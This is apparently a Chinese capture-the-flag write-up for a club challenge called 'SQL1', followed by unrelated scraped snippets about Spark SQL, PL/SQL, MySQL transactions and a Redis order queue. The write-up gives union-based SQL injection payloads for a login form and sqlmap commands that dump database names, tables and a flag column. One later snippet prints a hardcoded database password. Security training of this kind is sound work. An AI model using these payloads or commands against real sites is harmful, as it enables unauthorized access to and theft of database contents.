SQL1

这是社团的题目,我现在就写出来吧,总共两种方法,一种手注,一种用工具(sqlmap).

一、手注(盲注)

1,我们打开题目,可以看到一个登陆页面,这是我们在输入框里面输入万能密码:  ‘ and ‘1‘=‘      ,然后我们在密码框输入   ‘ and ‘1‘=‘1‘ union select 1,group_concat(schema_name),3 from information_schema.schemata#   ,

这里上面的输入框是and,是为了让上面的报错,下面的输入框是and,是为了union后面的语句成功执行。这里我们是先爆出来数据库,可以看到如图所示的源码(这里看源码的时候千万不要点确认,要用Ctrl+u来看)。

2,这时我们爆出了数据库,下面我们爆表,我们在上面的输入框输入   ‘ and ‘1‘=‘1   ,在下面输入‘ and ‘1‘=‘1‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# ,"database()表示当前的数据库"

3,爆出来了表,看到flag,是不是很激动,嘿嘿,接下来我们爆字段,

上面的输入框输入‘ and ‘1‘=‘1    ,下面的输入框输入‘ and ‘1‘=‘1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x666C6167#   ,这里的  0x666C6167  是flag的十六进制编码,因为在数据库里面,数据库和表和字段都是以十六进制储存的。

4,上面的输入框输入‘ and ‘1‘=‘1   ,下面的输入框输入 ‘ and ‘1‘=‘1‘ union select 1,group_concat(id,0x7e,flag),3 from flag# ,这里我们就可以看到flag了。

5,现在是不是感觉很简单啊,至此我的工作完成,你们的工作还得继续。任重而道远!

二、工具(sqlmap)

1,打开登录页面,在输入框里面里面随便输入数字,然后抓包(这里用burp suite抓包,没有这个工具的可以找我)得到数据,如下面的图所示。

2,把图中的数据复制下来,在sqlmap目录下面新建一个1.txt,文件,把复制的数据放1.txt文件里面,

然后打开sqlmap,输入sqlmap.py -r 1.txt --dbs   ,如下图所示

3,得到下面数据。

4,得到库,接下来输入 sqlmap.py -r 1.txt -D web --tables   ,这里也可以输入sqlmap.py -r 1.txt --tables -D web,结果都是一样的,

----爆表----。

5,得到表,下面爆字段,输入sqlmap.py -r 1.txt -D web -table flag --columns或者sqlmap.py -r 1.txt --columns -table flag -D web

 

6,下面就爆内容了,输入sqlmap.py -r 1.txt -D web -T flag -C flag --dump  或者输入sqlmap.py -r 1.txt  --dump -D web -T flag -C flag    结果如图所示

7,在你们joker学长的帮助下(到用的他的图),终于完成了。(注:上面那些表,可以不用双引号的)。

时间: 2024-08-08 05:24:08

SQL1的相关文章

Spark SQL1.2 和Spark SQL1.3的测试

Spark1.2 1. 文本导入 创建RDD的形式,测试txt文本 master=spark://master:7077 ./bin/spark-shell scala> val sqlContext = new org.apache.spark.sql.SQLContext(sc) sqlContext: org.apache.spark.sql.SQLContext = [email protected] scala> import sqlContext.createSchemaRDD i

Spark SQL1.2测试

Spark SQL 1.2 背景:了解到HDP也能够支持Spark SQL,但官方文档是版本1.2,希望支持传统数据库.hadoop平台.文本格式的整合处理 虚线表示还未实现.支持从现有Apache Hive表以及流行的Parquet列式存储格式中读取数据,数据源API通过Spark SQL提供了访问结构化数据的可插拔机制(接口需要自己实现,后面附有).数据源 API可以作为Spark平台的统一数据接入.数据源API的另外一个优点就是不管数据的来源如何,用户都能够通过Spark支持的所有语言来操

Spark SQL1.3测试

Spark SQL 1.3 参考官方文档:Spark SQL and DataFrame Guide 概览介绍参考:平易近人.兼容并蓄——Spark SQL 1.3.0概览 DataFrame提供了一条联结所有主流数据源并自动转化为可并行处理格式的渠道,通过它Spark能取悦大数据生态链上的所有玩家,无论是善用R的数据科学家,惯用SQL的商业分析师,还是在意效率和实时性的统计工程师. 以一个常见的场景 -- 日志解析为例,有时我们需要用到一些额外的结构化数据(比如做IP和地址的映射),通常这样的

触发器SQL1

--触发器:执行一个操作会自动 触发另外 一些 操作--触发器是针对有可能修改表数据的操作而言:增加删除和修改,对查询没用.--触发器是针对于某一个表执行什么样的操作进而触发触发器--语法:--create trigger tr_表.操作--after/for:操作之后触发--instead of:不执行当前操作,而使用触发器中的操作进行替代--on 操作的表 after/for|instead of insert|delete|update--as-- 逻辑语句--goif exists(se

Spark SQL1.2与HDP2.2结合

1.hbase相同的rowkey里存在多条记录问题的调研解决方案 VERSIONS => 3,Hbase version 最多插入三条记录 将一个集群hbase中表 "VerticalDataTable" 数据插入另一张表时遇到问题,本来有十几个版本,但是只插入了3个版本(还是可以插入成功) 搜索后发现是因为在建表的时候,VERSIONS => 3默认为3, VERSIONS是跟columnfamily相关的所以需要修改表的VERSIONS 属性 alter table {

oracle-PL/SQL1

PL/SQL程序设计 一 PL/SQL简介 到目前为止,在数据库上一直使用单一的SQL语句进行数据操作,没有流程控制,无法开发复杂的应用.Sql是结构化语言; Oracle PL/SQL语言(Procedural Language/SQL)是结合了结构化查询与Oracle自身过程控制为一体的强大语言,PL/SQL不但支持更多的数据类型,拥有自身的变量声明.赋值语句,而且还有条件.循环等流程控制语句.过程控制结构与SQL数据处理能力无缝的结合形成了强大的编程语言,可以创建过程和函数以及程序包. P

数据库数据进行量化算法入库

import mysql.connectordef Main(): #云量数据库 db = mysql.connector.connect(user='check_user',password='654321123456',port=3306,host='123.56.72.57',db='test_check') # 连接mysql # 获取游标 cursor = db.cursor() #查询表的字段 sql = 'select * from stock_kline WHERE tr_dat

mysql 事务处理

知识点: 事务处理是什么? 当数据库表呈树状机构设计时,我们对一个表进行增.删.改的操作,可能会要求对另外的表进行相同的操作,为了保证这多个sql能同时执行成功,就要使用mysql的事务处理. 注意:只有增删改的操作可以进行回滚,alter等操作不可行! 事务特性: 1.原子性:所有的sql执行操作必须全部成功,否则则回滚到处理前状态 2.一致性: 确保数据库正确地改变状态后,成功提交的事务. 3.隔离性: 使事务操作彼此独立的和透明的. 4.持久性: 确保提交的事务的结果或效果的系统出现故障的

PHP电商订单自动确认收货redis队列

一.场景 之前做的电商平台,用户在收到货之后,大部分都不会主动的点击确认收货,导致给商家结款的时候,商家各种投诉,于是就根据需求,要做一个订单在发货之后的x天自动确认收货.所谓的订单自动确认收货,就是在在特定的时间,执行一条update语句,改变订单的状态. 二.思路 最笨重的做法,通过linux后台定时任务,查询符合条件的订单,然后update.最理想情况下,如果每分钟都有需要update的订单,这种方式也还行.奈何平台太小,以及卖家发货时间大部分也是密集的,不会分散在24小时的每分钟.那么,